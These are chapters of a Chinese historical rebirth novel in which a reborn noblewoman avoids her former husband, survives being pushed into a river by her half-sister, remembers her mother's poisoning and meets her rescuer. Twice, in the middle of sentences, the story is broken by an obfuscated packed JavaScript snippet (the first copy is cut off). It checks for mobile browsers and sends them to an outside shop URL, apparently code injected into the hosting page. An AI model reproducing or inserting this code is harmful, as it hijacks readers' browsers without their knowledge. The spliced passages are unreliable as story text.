公子抱着画,温文有礼道:“陆二姑娘,久仰。” 陆以蓁微怔,这才抬眸看去。 此时意气风发的少年郎跟前世重合起来。 她其实已经不太记得许翊然的样子了,自二人成亲后月余,许翊然跟她分院别住。其后十年里,只见过两面。 一是陆以菁过门,新婚燕尔;二是她重病缠身,快要死的前一月。 那日桃花还未败,日头正好,依旧年轻俊朗的男子在院外远远看了眼瘦弱嶙峋、憔悴苍白的她,眼里不再是不耐和厌恶,只剩下怜悯。 都说一日夫妻百日恩。陆以蓁不怨他,亦不爱他,这世她更不会再嫁他。 只是见到他,她总会想起那个枯败在深宅大院里的自己。 今生不如陌路。 思绪回转,陆以蓁温声道,“二位公子,有礼了。” 接着又道:“男女终有别,小女不便久留,失陪。” 语罢,带着丫鬟匆匆离去。 留下二人,季风不觉有他,他本就只想打个照面。陆灼瑶在意她这个妹妹,他自然也要与她示好,留个好印象。 再看许翊然,俊眉微不可见地皱了一下。 母亲有意让他相看陆家二小姐,陆家三女,偏就这位身份贵重却最为平庸。他向来自视甚高,也觉得两人并不相配,心中难免不满。 今日碰巧一见,见她不若传闻中那般,许翊然生了几分好奇,所以任由季风拉他过来。 他敏锐地察觉到了陆以蓁看见他后有片刻的失神,而后态度很是冷淡疏离,看似不愿与他接触。许翊然不明所以,心里有些低落。 天色渐暗,陆以蓁回府沐浴梳洗后已是酉时,正准备传些吃食,老太太院里的丫头过来传话,让她去宝华堂用晚膳。 跨进院儿里,就听到屋里头传来的欢笑声。 长姐与祖母正说今日趣事,谈笑间,祖母难得笑得开怀,见她来了,招手说:“蓁儿来了,快过来,瑶姐儿正与我说起你呢。” “可不是!”陆灼瑶眉眼弯弯,柔声道:“我虽然晓得二妹妹四艺高超,但是今儿亲眼目睹,还是令人惊叹!祖母您不知道,二妹妹那曲阳春白雪,那副枯木逢春一出,简直是让人大开眼界,不少人都惊掉了下巴呢。” 她如此不吝夸赞,陆以蓁很不好意思,轻咳了一声,道:“承蒙长姐厚爱,妹妹愧不敢受,倒是在长姐面前班门弄斧了。” 陆灼瑶挑眉,“这是哪里的话,二妹妹可不要妄自菲薄!” 陆老太太深知她二人脾性,就说:“好了好了,你们姐妹俩祖母都晓得的,我们陆家的姑娘个顶个得拔尖,都是好样的。说了这么久,肚子倒有些饿了,郑妈妈,传膳罢。” 老太太今日高兴,比平日还多吃了一碗饭。用完膳后,陆灼瑶告退离开,陆以蓁则扶着老太太在院中散步消食。 陆府院落众多,只祖母居住的宝华堂落于宅院深处,清幽静谧。旁还有个精心修缮的花园,园中有个小池塘,旁边种了许多花花草草,陆以蓁勤去宝华堂,但鲜少来此地。 说来也是奇怪,她每每到这园中,总觉得不舒服,却寻不到原因。 “蓁儿,”祖母敛了笑容看向她,郑重道,“趁我这把老骨头尚且康健,想把你的亲事定下来。” 老人温暖的手附在她的上,那双手背上布满了褶皱,显得十分苍老。 祖母叹道:“祖母老了,这两年渐渐感到力不从心了。虽说管家权还攥在我手上,但迟早有一天是要交给于氏的,她那个人,不是个好相与的。到那时候,你若还没门好亲事傍身可怎么是好……现下祖母还能护着你,可是以后呢?” “今日你出府赴宴,瑶姐儿跟我说了,那菁姐儿可是当着那么多人给你脸色看的,如果我不在了,还不知道要怎么欺辱你!”老太太说到这,话中有了怒意。 长姐竟然把这事都告诉祖母了,陆以蓁苦笑。 好在于氏和陆以菁并未回府,她可真怕祖母为她去训斥三妹。 那两母女深得父亲宠爱,这事要是传到父亲耳朵里,只会袒护她们。最后怎么着都会成自己的不是,就怕引得祖母和父亲离心。 多一事不如少一事罢,陆以蓁顺了顺老太太的背,“祖母消消气,三妹妹那个性子您又不是不知道,她对谁都是那样的,还是小孩子心性罢了。孙女晓得您疼我,可莫要为这些小事气坏身子。” “你呀,就是太好说话了。”老太太无奈,“有时候我总想,是不是我教养太过,把你养得太过纯良,不知世事险恶,你又是这么副性子,怎么斗得过那些人。如今也是悔之晚矣,只想着能给你寻个如意郎君,能让你得以庇护。” 闻言,陆以蓁动容,眼眶微红。 她停住脚步,缓缓开口,声音十分清亮,“祖母,孙女近来想明白了,以前闭目塞听,是我太过迂腐,固步自封,今后不会如此了。孙女也不是愚昧之人,自然也不是真的软弱可欺,祖母您大可以放心。” 倒是头一次听蓁姐儿说这样的话,陆老太太很是意外。 又听她道:“至于亲事,祖母,孙女心中有数。就算要嫁,孙女也想嫁个心悦之人,不求权势不问钱财,但求得一心人,白首不相离。” 恐怕这是两世来,陆以蓁头一次吐露心中真言,老太太似乎想起了记忆深处里,那个如春日小花般灵动活泼的小女孩。 是啊,她的蓁姐儿并不是一开始就这么沉静内敛的。 蓁姐儿她娘还在的时候,她总是调皮得很,最爱在这花园里玩耍,蹦蹦跳跳地穿梭在花丛中,弄脏了新衣裳,害怕母亲责备,就跑到她这来,甜甜笑着撒娇。 已经过去了太多年,陆老太太的记忆也模糊了,只零星星闪过些画面。 蓁姐儿她娘是在她六岁的时候走的,小孙女悲痛难过了好些时日,可能是年纪小不记事,后面就不怎么记得以前的事了,整个人也变了样。 “祖母。”看到祖母出神,陆以蓁试探地唤了一声。 陆老太太有些恍惚,想起旧事,心里又升起对秦氏对蓁姐儿的愧疚之意,“祖母有些乏了,扶我回去歇息吧。” 待祖孙二人走远,凉亭后走出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚踏出正院,有个丫鬟便匆匆赶来,急道:“林公子稍等!” 闻声,林行简顿住脚步,看向来人。 来人是陆灼瑶身边的大丫鬟惜花,她朝小厮使了个眼色,“你且退下吧,我带林公子过去就是了。” “奴婢是陆府大姑娘身边的丫鬟,请公子跟奴婢来吧。”继而她俯身行过礼,领着人朝墨云轩去。 一路上不时偷偷看他,惜花两颊露出绯色。世间怎么会有如此好看的男子!难怪让大姑娘都另眼相看,惜花忍不住想。 把人带到了墨云轩门口,惜花远远往见院内有人,应是王管事安排伺候的仆从。便止步小声道:“林公子,这是我们大姑娘给您的,请您收下。” 林行简抿唇未发一语。在来京之前,他确与陆大姑娘有过数面之缘,但算不上多深的交情。 虽不明所以,他还是接过了丫鬟递来的信件。 惜花见他收下信,不再多言,将人引进院里,“奴婢就送您到这里了,公子好生歇息。” 傍晚,屏退旁人,林行简打开信封,几行娟秀字迹映入眼帘。 展信佳。 陌上人如玉,公子世无双。自江西府匆匆一别,已有半载。 闻公子上京,拜入父亲门下,灼瑶为之欣喜。 两日后溱洧诗会,望君同往,小女不胜为盼。 5. 五 翌日,芳华苑。 翌日,芳华苑。 屋内布置简洁,一方檀木桌案置于窗边,桌面笔墨纸砚齐全,一旁的白瓷瓶中插着几枝娇艳桃花,隐隐散发着香气。 陆以蓁从宝华堂请安回来后,在桌案前坐定。纤手提笔,于宣纸空白处落墨,笔画婉转流畅,字形秀美端庄。 一手簪花小楷写得漂亮极了。 练字静心是她的习惯,足足练了两个时辰她才停笔。 “松枝,”陆以蓁轻唤,“之前长姐找我要副字帖给明哥儿练习,你这便给他们送去。” 说罢又想了想,“罢了,我还是亲自去一趟好些。” 陆灼瑶与弟弟陆昭明皆是魏姨娘所出,三人居于朝华苑,与陆以蓁住处相邻,但她平时很少走动,多是陆灼瑶来寻她。 此时带着字帖到访,着实让陆灼瑶意外了一把。 “真是稀客!”陆灼瑶忙拉她进屋坐下,“昨日你说要来我这里多走动,我还当你说笑,没想到今日你便来了。” 陆以蓁笑笑,道:“闲来无事,想着长姐之前托我给明哥儿准备字帖,便亲自送来了。”她拿出备好的字帖,递给陆灼瑶。 陆灼瑶接过一看,是二妹妹手写的《寒食帖》,用的行草字体,洋洋洒洒,很是飘逸。 “好字。”陆灼瑶由衷赞了一句,“二妹妹在书法上的造诣真是让人望尘莫及!” “长姐谬赞,我是想着明哥儿外向、不拘小节,这字体他练起来应该顺手。” “二妹妹有心了!”陆灼瑶将字帖收好,又道,“明日是三月三,城外溱洧河畔有雅集诗会,京中各家公子姑娘们都会到场,定是热闹非凡,二妹妹同我一起去吧。” 溱洧集会一年举办一次,确实是一场盛会。陆以蓁从前便听过不少关于这场诗会的精彩事迹,也有些心生向往。 她点头应声:“好。” 见她答应地轻易,陆灼瑶原本想了一长串相劝的话都咽了回去,柳眉轻挑,“二妹妹是真转了性子了,从前你最不爱凑这些热闹了,现在倒开了窍,是件好事。” 姐妹二人又闲聊了好些时候,到日暮时分,陆以蓁才准备离开。 陆灼瑶起身相送,边走边说道:“明哥儿这几日都在学堂,等他回来了我让他亲自来谢你。” 陆以蓁回:“长姐,不用这么客气。” 两人说话间,迎上了刚从外面回来的魏姨娘,她见到陆以蓁,眼神惊讶,神色微变,没说出话来。 陆灼瑶笑道:“小娘莫非不认识二妹妹了?怎的如此惊讶。” 闻言,魏姨娘有些不自然地开了口,“是许久未见二姑娘了。” “魏姨娘。”陆以蓁微微欠身,“以蓁今日打扰,这就先回去了,长姐不必送。” 见人走得远了,魏姨娘拉住女儿问:“二姑娘怎么来了?” 陆灼瑶答:“是来送给明哥儿的字帖的,”她觉得魏姨娘反应有些奇怪,又问:“小娘怎么这般紧张?” 魏姨娘噎了一下,只说,“没想到会在这见到二姑娘罢了,我就随口问问,不必在意。” 陆灼瑶不疑有他,扶着魏姨娘进了屋。 三月初三,上巳节。 陆以蓁起了个大早,洗漱后换了身藕色团花缂丝襦裙,云枝替她梳发。这丫头手很巧,会的花样儿也多。她用檀木梳点了点用茉莉栀子制成的花水,将长发一梳到底,十分灵巧地把头发分股,一股自然垂下,另一股在头顶束成了涵烟芙蓉髻,簪了对碧玺桃花钿。似乎觉得少了点什么,云枝又取了梳妆盒中的一支素色珠钗,插//入她乌黑如墨的秀发。 另一旁的雪枝也替她上好了脂粉,她这张脸本就生得好颜色,只略施粉黛,便已光彩照人。 刚收拾齐整,长姐的贴身婢女怜花到芳菲苑传话。 “二姑娘,大姑娘已经命人备好马车在门口等候着了,不知二姑娘这边好了没?” 陆以蓁示意云枝去回话,不多时出了房门朝府外去。 两姐妹同乘马车,本是个令人高兴的日子,长姐笑容却不似平日明朗,像是有心事。 陆以蓁关心道:“长姐,可是有哪里不适?” 听闻她关切的声音,陆灼瑶扯着嘴角笑了下,“让二妹妹担心了,可能是昨晚没有歇息好,没事的。” 前日她托惜春送信,邀那人同往,辗转反侧整晚,第二日也没收到回音。今晨派出去的丫头打探回来又说,墨云轩的公子一早出了门,不知去了何处。 那个人,真是一点儿都没变。说不失望是假的,但她也只能默默将失望埋在心底。 见长姐并不愿吐露其他,陆以蓁识趣地不再多问。 马车一路出城,离溱洧河畔还有半里路时停下。 二人先后下了马车,陆灼瑶先对妹妹解释说:“不远处就是兰亭了,车马不便通行,我们得走过去。”继而又对车夫吩咐道:“你就在此地等候。” 溱洧河畔,不少青年男女相携游春。再往前走不远,被侍卫隔开的兰亭旁有一条蜿蜒曲折的小溪,中间隔着清溪,人们在两旁分席而坐。 此处到的尽是世家公子姑娘了,参加过简单的袚禊仪式后,陆灼瑶带着陆以蓁坐到溪流中下游的案前。 期间不少倾慕眼神追随,也有不少人朝她或是颔首或是抱手招呼。陆酌瑶皆淡淡回以一笑。 专门的侍人在清溪上流放置酒杯,酒杯顺流而下,停在谁的面前就由谁即兴赋诗并饮酒,溪流两边的小童会取了酒杯来,若是作不出诗句,便自罚酒三觥。 是以名为,曲水流觞。 文人墨客最爱这儒风雅俗,引为千古佳话。于是每年上巳节,就由礼部主办,遍请青年才俊聚集于此。或是文采斐然的少年书生,或是饱读诗书的世家公子。原先来的姑娘家也多,但多是来此看俊俏郎君的,后来作不出诗闹出笑话,便也不好意思来了。 周遭兀的安静下来,众人都朝主位看去。 一袭明黄色牡丹金线宫裙的女子款款而来,华贵中透着一丝庄严,她的容貌并不出众,但胜在气质矜贵,散发出令人无法忽视的气场。 跟在女子身侧的小太监尖着嗓子道:“昭和公主至。” 众人起身行屈膝礼,一时间气氛有些严肃。 身居高位的女子不由轻笑出声,“都起来吧,这么紧张做甚,本宫早听闻溱洧诗会精彩,便来凑个热闹,可别因为本宫到来扫了诸位的雅兴。” 见她发话,永安世子率先道:‘殿下亲至,我等惊喜倍至,在此赋诗一首,遥敬殿下。”他说着端起酒杯一饮而尽,随之作诗一首,由身边侍从念出。 一诗作罢,喝彩声众众。众人这才自在许多,推杯换盏间吟诗作乐,好不热闹。 这时陆以蓁才看到他身边的许翊然等人,后者目光似是不经意投过来,目光交汇,陆以蓁视若无睹地转向别处。< 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小溪潺潺,流水汤汤。陆以蓁行至河畔集会,许多青年男女在相互逗笑,并赠送芍药。 陆以蓁远远望着,心生羡慕,也学着姑娘们买了个同心结,拿在手里观赏。 不知不觉间走到了林间深处,身畔河水不似上游湍急,四周安静下来。 “陆以蓁,没想到你也会来。”一片妃色映入眼帘,是陆以菁。她目光尖锐,直直地盯着陆以蓁,语气不善。 被她这样直白盯着,陆以蓁不能再装作若无其事,笑道:“三妹妹,我有何不能来的。” 陆以菁讥笑一声,“别以为你上次跟着陆灼瑶在花宴出尽风头,就可以骑到我头上去了。我告诉你,没有祖母,你什么也不是。” 一番话听下来,实在莫名,陆以蓁不想与她多说,转身欲走,一股大力拽住她的头发,扯得她生疼。 这是一点也不留手啊。 一旁的惜花都惊了一下,正要过来帮忙,陆以菁身边带的两个侍女拦住了她。 陆以菁抢占先机,扯着她的头发,迫使她扬起了脸,“跟你娘一样,都爱觊觎别人的东西。” “知道吗,我最讨厌的就是你这副好像什么都无所谓的嘴脸,装什么呢,真叫人恶心。”说着陆以菁取下头上珠钗就要往她脸上划去。 她也没料到,陆以菁竟然直接对她动手,言语间还提到了她母亲。 她母亲去的时候陆以菁才多大?那时候于氏还没过门,陆以菁怎么说的出这样的话来。 惊疑之下,陆以蓁用力把陆以菁要落下的手甩开,两人推推搡搡到了河边。 河边泥土松软,陆以蓁没站稳一个踉跄,被陆以菁抓住机会一把推进了河里。 河水深不见底,虽水势不急,但陆以蓁是个不会水的,她在水里挣扎扑腾了几下,呛了好几口河水,眼见就要失力沉下去。 “二姑娘!”被拦住的惜花急的哭了出声,大声吼叫,“救命啊,要出人命了。” 拦着惜花的丫鬟忙去堵上她的嘴,这丫鬟也没想到三姑娘闹的这么大,忍不住低声劝说:“三姑娘,在这么下去怕是要出人命了,那可是二姑娘啊。” 陆以菁本就只想教训她一番,也是想到前些日子出了丑,一时气昏了头,拉扯间就把人推到了河里,现在也有点后怕。正欲让人去救,却看到一个白色身影扎进了水里。 6. 六 陆府内灯火通明,众人都被叫到了宝华堂。 一时间整个屋内落针可闻,茶盏破碎声骤然响起,老太太气得浑身发颤,指着跪在底下的陆以菁骂道:“混帐东西,你这是要你二姐的命!” 被老太太摔碎的茶盏就摔在陆以菁身侧,里面滚烫的茶水溅到她手背,她瑟缩了一下,手背瞬间烫红了一片。 于氏忙拉着她察看,心疼得红了眼,泪眼婆娑道:“母亲,蓁姐儿落水是谁也不想的。” 听自家丫鬟讲完事情经过的陆灼瑶再没了笑意,也不顾及与于氏母女的表面关系了,只冷冷说:“不管想不想,无辜落水的是二妹妹,而三妹妹全须全尾地站在这儿。” “瑶姐儿,瞧你这话说的。”于氏暗暗瞪她一眼,又啜泣着说:“菁儿固然有错,可她还只是个孩子,又被我宠坏了,都是我的错,没把菁儿教养好!母亲,您只管训斥我就是了……” 她话音刚落,老太太气得又摔了个白瓷茶盏。 于氏似乎是被吓了一跳,求救般地看向陆老爷,“老爷,你快劝劝母亲吧。” 陆家老爷一直坐在旁边没有发话,神色间透着些许疲惫。 眼见母亲是生了大气,他揉了揉太阳穴,终是说道:“姐妹小打小闹也是常有的事,但菁儿此次确实行事太过,就罚她去家祠反省。”末了又呵斥道,“还不快去!” 他一发话,于氏忙带着陆以菁匆忙离开。 “好啊,好啊,这就是你惯出来的好女儿!”老太太气得发笑,已是怒极。 陆老爷起身对老太太俯身抱手道:“母亲,儿子既已处罚了菁儿,您便消消气罢。您如今年事已高,别因为小辈的事气坏身子。儿子垦请母亲保重身体啊。” “菁姐儿动辄便要杀人,你就这般轻巧地罚过,陆承远,我告诉你,那不能够!” 陆老爷颇为无奈地说:“那还要儿子如何处罚?难道母亲要把自己的亲孙女送到衙门见官吗?” 见老太太噎住,陆老爷又劝道:“菁儿是做得太过了,我之后定会好好训诫,所幸二姐儿此次并无大碍。但母亲想想,二姐儿毕竟是被外人救起来的,听说还是个男子,此事若是闹大,必然会有损女儿家的声誉。” 这话倒是有几分道理,陆老太太稳下心神,看向惜花,“是什么人救的二姑娘?” 惜花偷偷看了眼自家大姑娘,吞吞吐吐半天才说出来:“是老爷门下的门生,林行简林公子。” 事发突然又回来得着急,陆灼瑶也是现在才知道是他救的人,露出惊讶的神色。 陆老爷连忙安抚老妇人,解释道:“行简便是去年秋闱中举的解元,我自会嘱咐他不要外传。这孩子性情儿子还是知道的,母亲大可放心。” 也只好如此了,为着蓁姐儿名声着想,此事只得暂且揭过。 陆以蓁昏睡了两日,她睡得很不安稳。 半梦半醒间,脑海中总闪烁变化着许多陌生画面。 “不要!不要吃!”陆以蓁猛然惊醒,头上冒着冷汗,脸色有些苍白。 雪枝闻声而来,眼睛红红的,“姑娘,您终于醒了。” 陆以蓁脑瓜仁像是要炸开似的,她痛苦地捂住脑袋,又晕了过去。 见状,雪枝忙喊了云枝来守着姑娘,自己跑着去请了府医。 再次醒来的时候天色已经完全暗下去了,一睁眼就看到祖母坐在床边,紧紧握着她的手。 见她醒来,陆老太太扶她起身坐起,心疼道:“怎么样蓁儿,可有好些了?” 无法抑制的悲伤涌上心头,陆以蓁紧紧捂住了眼,痛哭出声,肩膀一抖一抖地抽动着。 这可把陆老太太紧张坏了,慌乱问:“蓁儿,这是怎么了,身上哪里不舒服?你别吓祖母,来人!快去请府医进来看看。” 自午后她醒了一次后府医便在偏厅候着,倒是很快就进了屋,隔着纱幔给她诊脉。 老太太问:“二姑娘这是怎么了?” 府医收好药箱,回话:“回老夫人,二小姐是受冷着了凉,有些风寒之症,并无大碍,我开些药方好生调理着就是。只是恐怕此番二小姐受了惊,所以情绪不紊,还需静养。” 遣退了府医,雪枝云枝去药房煎药,屋内只留下祖孙二人。 半晌,陆以蓁终于止住了哭泣,她那双眼哭得肿了,看着好不可怜。 她沙哑着嗓子,轻声说:“祖母,我想起来了。” “是我,是我害死了母亲。” 闻言,陆老太太震惊地瞪大了双眼,良久,长长地叹了口气。 那是很多年以前的旧事了。 陆家先夫人秦大娘子,乃是当朝定国公家独女。她嫁入陆家时,陆承远只是个小小侍郎,在她母家扶持之下才坐到了丞相的位置。 陆承远身居高位后便借由公务繁忙,少有回府。 定国公府的二舅舅要娶妻,秦大娘子便带了女儿回府探亲。 彼时,陆以蓁还是个六岁孩童,她在家中备受长辈宠爱,养得是一派天真烂漫的模样。国公府上上下下,外祖母外祖父,大舅舅二舅舅,还有表哥都十分疼她。 这日,国公府宾客众多。 六岁的小以蓁还是个肉嘟嘟的小姑娘,粉雕玉琢的小脸蛋让人很想上手一捏。她的表哥秦逸尘就这么做了。 捏了几下不够,还往两边扯了扯。 “表兄,你再欺负我,我就去告诉外祖母了!”小以蓁怒了,拍开他的手,用圆鼓鼓的眼睛瞪他。 被小表妹奶凶奶凶地瞪着,比她大了一轮的秦逸尘也不觉得不好意思,只摸摸小姑娘的头,假意安抚说:“怎么算是欺负呢,小表妹。” 小以蓁掐着腰要去用脚踩他。 “好好好,我不捏你脸了便是。” 兄妹二人打闹嘻笑间,听到不远处有喧闹声传来。 小以蓁看了看身边的表哥,只差把“我要去看热闹”几个大字写在脸上。 秦逸尘无奈,只好任她往那边去,自己则跟在后面。 几个跟秦逸尘一般年纪的公子哥儿,正围着个玄衣少年。那少年额角有伤,伤口还流着汩汩鲜血,看得人触目惊心。但他却面无表情,眼神漠然,像是感觉不到痛处般。 带头的人啐了一口,眼神十分厌恶,像是看什么脏东西一样盯着那少年,“你弄脏了本公子的鞋,我今儿也发发慈悲,只要你跪下来给我擦干净了,今日本公子便放过你。” 那人浅色皮靴上染了些血迹,想是殴打那少年时不慎留下的。 “欺人太甚!简直欺人太甚!”小以蓁大叫着跳了出来,他身后的秦逸尘扶额念叨“我的小祖宗”。 几人见着个小姑娘怒气冲冲地挡在了那少年身前,正哄笑着欲把人推开,就瞧见了她后边跟上的人。 为首的公子哥神色很不自在地抱手道:“秦大少。”他身后几人也有所收敛,纷纷朝他招呼。 小以蓁怒气未消:“表哥,他们在我们府上作威作福欺辱他人,你得把他们抓起来好好收拾一顿。” 秦逸尘冷冷地睨了他们一眼,“肖公子,我表妹虽然年岁小,但说得不错。今日我秦府设宴款待,你却带人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14243913|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们府上闹事,我们秦府不欢迎你这样的客人,请你们自行离开。至于今日之事,我自会找父亲说明。“ 几人个个面露愠色,铁青着脸,那个姓肖的大概是觉着落了面子,咬牙看了他们兄妹俩一眼,最终也没说出个话来。临走他狠狠剜了一眼被他们欺辱的少年,嘴形似在骂,贱种。 小以蓁拉着受伤的少年,一双大眼睛扑闪着,整张小脸都皱在了一起,“哎呀,都流进眼睛里了。”她说话间拿出袖中的手帕,举着手想去擦,但她伸长了手也只够的着少年的肩膀,便说:“哥哥,你快拿着擦擦。” 那少年袖中似乎露出一道寒光,被他小心收回。少年盯着她看了许久,伸手接过了小女孩的好意。 他的手苍白还染着血迹,和女孩粉粉嫩嫩的小手形成鲜明的对比。 小女孩看他的眼神很干净,没有可怜,只是关切。这样的善意对少年来说,像是在黑暗中阴暗的角落透进来一丝温暖的光。 后来表兄带着这人去处理伤势了,小以蓁回去宴席找母亲。 秦大娘子正言笑晏晏与几位夫人交谈,见女儿过来,天色也渐晚,便拜别众人,带着小以蓁回了陆府。 到陆老夫人那里请安后,她牵着小以蓁走到花园,母女俩在凉亭坐下。 小以蓁想到祖母那里精致的糕点,有点嘴馋了。 她很爱吃甜食,宁可不吃饭也要吃糕点的那种。此时她眼巴巴地望着母亲,想只摇尾乞怜的小狗。 秦大娘子宠溺地摸摸她的鬓角,“好啦,我早让田妈妈备了你最爱吃的雪花酥,来尝尝吧。” 小以蓁立马拿起一块酥烙,正要递到嘴边,又顿了顿,递给母亲,“母亲先吃。” 秦大娘子张嘴咬了一口,温婉笑道:“蓁姐儿是个有孝心的…….” 她话音未落,神色突变,露出了极度痛苦的表情,快要说不出话来,只艰难说道:“蓁……蓁姐儿……别……别碰那糕点。” 言罢,她娇美如花的脸上流出血泪。鲜血又从她的鼻孔、嘴角、耳边留下。 秦大娘子睁大眼睛倒在石桌边,很快就失去了生机。 小以蓁吓得呆住了,愣怔许久才去拉母亲的手,大哭起来,“娘!” 被哭声惊动的丫鬟们察觉到不对,连忙赶过来,看到的就是秦大娘子七窍流血的惨状。不说二姑娘,几个年纪稍长的丫鬟都被吓着了,一时间乱了套。 反倒是小以蓁突然闪过了要去找大夫的念头,抬腿便跑。她往花园外跑,也不知撞上了哪里,不慎跌入池塘,池塘虽小塘水却深,她落进去便没了意识。 六岁,实在不算小了。陆以蓁却没怀疑过自己的记忆,不管是以前还是现在,她都一直以为母亲是病逝的。时至今日,她才想起那日种种。 泪水顺着她的眼角流下,陆以蓁悲切自责地说:“祖母,是我害死了母亲,那糕点原是给我的,我却给了母亲……而这么多年,我竟然不记得此事!” 陆老夫人一把抱过她的头,也是老泪纵横,“傻孩子,怎会是你的错。要有错也是那些歹人的错!当年你母亲在你眼前走得那样,那样突然。你实在受了惊吓,悲伤过度,高烧几日不退。祖母差点以为你要跟着你母亲去了……” 老太太哽咽道:“后来大夫把你从阎王爷那儿拉了回来,你醒来后性情大变,也不记得事了。祖母实在不忍你伤心,便下了令,只说秦大娘子是病逝的。“ 忍住泪水,陆以蓁问:“祖母,到底是谁,为什么要害我和母亲?” 陆老太太叹道:“此事说来话长…” 7. 七 问题出在糕点上,当年整个小厨房和所有经手之人都被关了起来。 严刑审问下,秦大娘子院里的田妈妈终于吐露了实情,原来是陆家另一位姨娘沈氏命她下的毒手。 这位沈姨娘入府早,还在秦大娘子未嫁时就是陆家姨娘了。听闻她早年给陆家生了个姐儿,但不满周岁就夭折了。自此之后,沈姨娘一直疯疯癫癫的,见人就骂,好几次甚至出手伤人。本该把她送到城外庄子里去的,但陆老太太念在她服侍儿子多年,又是因为失去孩子伤心过度得了疯症,便派了人好生看管照顾,住在陆府最偏僻的别院。 得知此事的定国公亲自来抓了人走,还没待审出个所以,沈姨娘在被带走的当晚就吞金自尽了。 从照看沈姨娘的老妈子口中只得知,她是偶然有回外出,回来以后就一直神神叨叨的,不断说她的女儿是被人害死的。在那之后沈姨娘发病的时候少了,不发疯的时候整个人十分沉默阴郁。也不知她是怎么勾兑上了大娘子身边的田妈妈,两人常有来往。 再后来就有了投毒的事。 虽说一个疯子的思维是常人所不能知晓的,但这理由也太过牵强了。奈何沈姨娘已经畏罪自尽,再无法探其究竟。 参与下毒的人乱棍打死,其余小厨房的人也被尽数发卖。 任秦府之人怎么震怒悲愤,也再查不出其他线索。 秦大娘子一案没了下文。 一个疯癫多年的人,怎么会突然清醒?还勾结上了秦氏身边的妈妈。她又是如何能有此等心机计谋下毒暗害。 太多疑点了! 祖母走后,陆以蓁心情终于平复。她想了很久,隐隐觉得这件事情远没有表面上那么简单。 那既然她记起来了,就绝不会再装聋作哑,一定要查清楚真相,还母亲一个公道。 修养多日,陆以蓁身子已经大好。她养病期间,长姐不时来探望,有次还带了魏姨娘所出的四哥儿陆昭明一起。 明哥儿如今八岁了,他跟长姐长得都像魏姨娘,模样是顶好的,被教养地也好,很是纯真无邪。 大抵是年纪还小,有些怕生,只敢怯怯地躲在长姐身后偷偷看她,在长姐的示意下才小声对她为字帖的事道了谢。 而长姐每次来看她都带着一大堆补品,对她关切备至,生怕她养不好身子。 这日,陆灼瑶又带着人参、灵芝等药材来了。魏姨娘出身商贾,娘家在江西府,生意做得风生水起,所以朝华苑的哥儿姐儿向来不缺银钱。 她不缺银子,但陆以蓁不能心安理得地收东西,何况她这次送的药材太过名贵,便道:“长姐,你能来看我,我已经很开心了,真的不用给我送东西来,太贵重了,快请收回吧。” 陆灼瑶嗔她一声:“二妹妹,你这就是拿我当外人了。” 这次出事毕竟是她把人带出去的,她要负很大的责任,于是又说:“都是我照顾不周,才让你出了意外,要是连我这点心意都不肯收下,我真是愧疚难当了。” 推拒不成,陆以蓁只得收下她的好意。 只好诚挚谢过:“多谢长姐。” “跟我不必客气,”陆灼瑶笑吟吟的,又说,“瞧着妹妹是好得差不多了,对了,你还不知是何人救你上来的吧。” 她倒是忘了这茬,那日她意识模糊间记得是有个男子救了她。 不待她问,陆灼瑶继续道:“我知道二妹妹是最讲礼数的,你放心,此事只有府中人知晓,必不会传出去有损妹妹清誉。而且说实话,虽说男女有别,但性命攸关之时,哪还顾得上这许多。” “长姐说的是,”陆以蓁倒是没想那么多,“我并无介意,心中只有感激。” “那便好。”陆灼瑶心下松了口气,她有意为那人说话,也确实怕二妹想不开。 “怎么说也是我的救命恩人,早该去致谢的……还不知,是何人相救?“ 陆灼瑶见她神情坦然,便道:“过几日等二妹妹身子好齐全了,我陪你去亲自谢过,到时候你就知道了。” 如此,也是她的私心。去年江西府匆匆一别,已是许久未见。上次他碰巧在河边救了人,也不知是不是来赴约的。这些时日,她不便去寻他,这下倒是有了由头。 气候逐渐转暖,这日天气晴好,陆以蓁约了长姐前去找恩人致谢。 陆灼瑶颇为精心地打扮了一番,美得不可方物,任谁见了都得赞句“国色天香”,书中美人也不过如此。 本以为要出府,却没想到长姐领着她径直去了自家的别院,墨云轩。 墨云轩? 疑惑间人已经在墨云轩书房门口站定,身边的雪枝上前通报:“公子,我家二姑娘感念公子救命之恩,特来次致谢,请公子一见。” 片刻后,那扇紧闭的房门轻轻打开了。 陆以蓁低着头屈膝拜下,只能看见走出那人月白衣角和深色方舄,她缓缓道:“小女陆家二女以蓁,承蒙公子相救,万分感激。小女不知如何报答,只做了些寒食聊表谢意。” 说话间,云枝将手中的食盒递了过去,由那人身旁的小厮接过。 只听那人用清冷的嗓音淡淡道:“不过是举手之劳,何足挂齿。” 这时陆以蓁已经抬起了头,那张俊美绝伦的脸映入眼帘,她顿时惊讶地说不出话来。 一旁的陆灼瑶则是笑道:“这便是林行简林公子了。难怪二妹妹这么惊讶,就是我第一次见也是看呆了的。” 林行简朝她颔首,眉目间尽是淡然,他并未说话,目光转向了陆以蓁。这个自己前些日子救起的女子,似乎在看到他后并不是出于对容貌的惊艳……那是一种很复杂的目光,有惊讶有欣喜还有一丝隐隐的悲伤。 严格意义上来说,这是二人初见才是。虽然救她时已然认出她便是那日在花园中说话的女子,但这是第一次双方见面。 于他是初见,于她却是一别经年,心事难言。 对上他漆黑的眼眸,陆以蓁猛地回了神,压住心中万般思绪,有些郝然地露出个笑容,“是我失礼了。” 又道:“林公子高义,小女铭记在心。日后若有需要,但凡我力所能及之事,任凭公子差遣。”< 